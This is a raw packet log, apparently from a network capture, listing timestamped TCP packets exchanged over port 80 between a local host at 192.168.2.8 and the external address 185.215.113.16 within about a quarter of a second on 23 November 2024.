Nov 23, 2024 21:15:39.122998953 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.124696970 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.124780893 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.124893904 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.124958038 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.126606941 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.126677990 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.126754045 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.126836061 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.128410101 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.128494024 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.128537893 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.128590107 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.130291939 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.130409002 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.130435944 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.130851984 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.132139921 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.132249117 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.132265091 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.132323027 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.133982897 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.134043932 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.134538889 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.134721041 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.135890961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.135957003 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.136009932 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.137274981 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.137717962 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.137770891 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.137820959 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.137860060 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.139581919 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.139648914 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.139657021 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.139712095 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.141455889 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.141552925 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.141608000 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.141690016 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.143399000 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.143454075 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.143475056 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.143522024 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.145190001 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.145282030 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.145339012 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.145464897 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.147063017 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.147197962 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.147274017 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.147316933 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.148921013 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.149002075 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.149050951 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.149142027 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.152818918 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.152865887 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.152930975 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.152932882 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.152980089 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.153114080 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.153441906 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.155791044 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.155834913 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.155863047 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.155886889 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.155889988 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.155936003 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.155942917 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.155982971 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.157253981 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.157313108 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.157727957 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.157793999 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.158759117 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.158947945 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.159008026 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.160355091 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.160418987 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.160526991 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.161673069 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.161957979 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.162018061 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.162133932 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.162178993 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.163561106 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.163605928 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.163625002 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.163692951 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.165167093 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.165222883 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.165380955 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.165647030 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.166734934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.166786909 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.166951895 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.167067051 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.168361902 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.168415070 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.168503046 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.168548107 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.169924974 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.170195103 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.170243979 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.171539068 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.171583891 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.171746016 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.171807051 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.173121929 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.173168898 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.173736095 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.174000025 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.174746990 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.174794912 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.177079916 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.177103996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.177124977 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.177130938 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.177139997 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.177161932 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.177891970 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.177933931 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.178617954 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.178771019 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.179497004 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.179619074 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.179641962 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.179691076 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.181193113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.181250095 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.181386948 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.182378054 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.182729006 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.182771921 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.183254004 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.183309078 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.184312105 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.184365034 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.184555054 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.184597015 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.185929060 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.186080933 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.186157942 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.186197996 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.268297911 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.268383980 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.268758059 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.268799067 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.268815041 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.268853903 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.268884897 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.268902063 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.270317078 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.270639896 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.270765066 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.270812988 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.271858931 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.272005081 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.302722931 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.302797079 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.302803993 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.302850008 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.303127050 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.303239107 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.303306103 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.304728985 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.304791927 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.304929018 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.304980993 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.306371927 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.306408882 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.306427002 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.306456089 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.308562040 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.309238911 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.309303999 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.309662104 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.309719086 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.309953928 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.310019970 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.311346054 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.311403990 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.311942101 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.311994076 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.312745094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.312814951 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.313287973 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.313334942 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.314353943 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.314399004 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.314421892 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.314510107 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.315970898 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.315984964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.316036940 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.318063974 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.318141937 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.318360090 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.318483114 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.319240093 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.319503069 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.319557905 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.320683002 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.320748091 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.321135998 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.321181059 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.322351933 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.322386980 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.322411060 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.322427034 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.323569059 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.323616982 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.324271917 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.324320078 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.324754953 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.324807882 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.325268984 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.325501919 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.325879097 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.325997114 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.326042891 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.329714060 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.329770088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.329785109 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.329807997 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.329818964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.329840899 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.329854012 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.329873085 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.329894066 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.329905033 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.329938889 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.330563068 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.330614090 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.330785990 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.330836058 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.331763029 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.331832886 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.331962109 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.332885027 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.332933903 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.333081961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.333636045 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.334538937 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.334592104 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.334722996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.334774971 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.335639000 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.335692883 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.336462021 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.336644888 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.336679935 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.336704969 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.336711884 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.337605953 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.337654114 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.338403940 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.338630915 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.338726044 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.338772058 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.338946104 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.339015961 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.339893103 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.340065956 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.340085983 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.340107918 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.341279030 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.341329098 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.341371059 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.341402054 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.342806101 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.342842102 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.342902899 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.343777895 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.343816042 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.343837023 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.343851089 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.344566107 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.344701052 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.344739914 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.344785929 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.345757961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.346389055 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.346447945 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.346898079 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.346942902 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.347527027 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.347574949 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.348474026 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.348507881 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.348563910 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.349874973 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.349915981 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.350516081 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.350577116 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.351063967 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.351120949 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.351275921 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.351325989 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.351583004 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.351629019 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.352253914 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.352303982 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.352757931 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.352829933 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.353389025 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.353434086 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.353904963 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.354017019 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.354074001 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.354146957 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.355103016 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.355154037 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.355215073 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.355262995 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.356353045 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.356404066 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.356410027 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.356452942 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.358047009 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.358105898 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.358148098 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.358198881 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.358829021 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.358896017 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.358941078 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.358992100 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.359798908 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.359854937 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.360030890 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.360080957 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.360913992 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.360958099 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.361156940 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.361202955 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.362106085 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.362194061 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.362334967 CET	80	49750	185.215.113.16	192.168.2.8
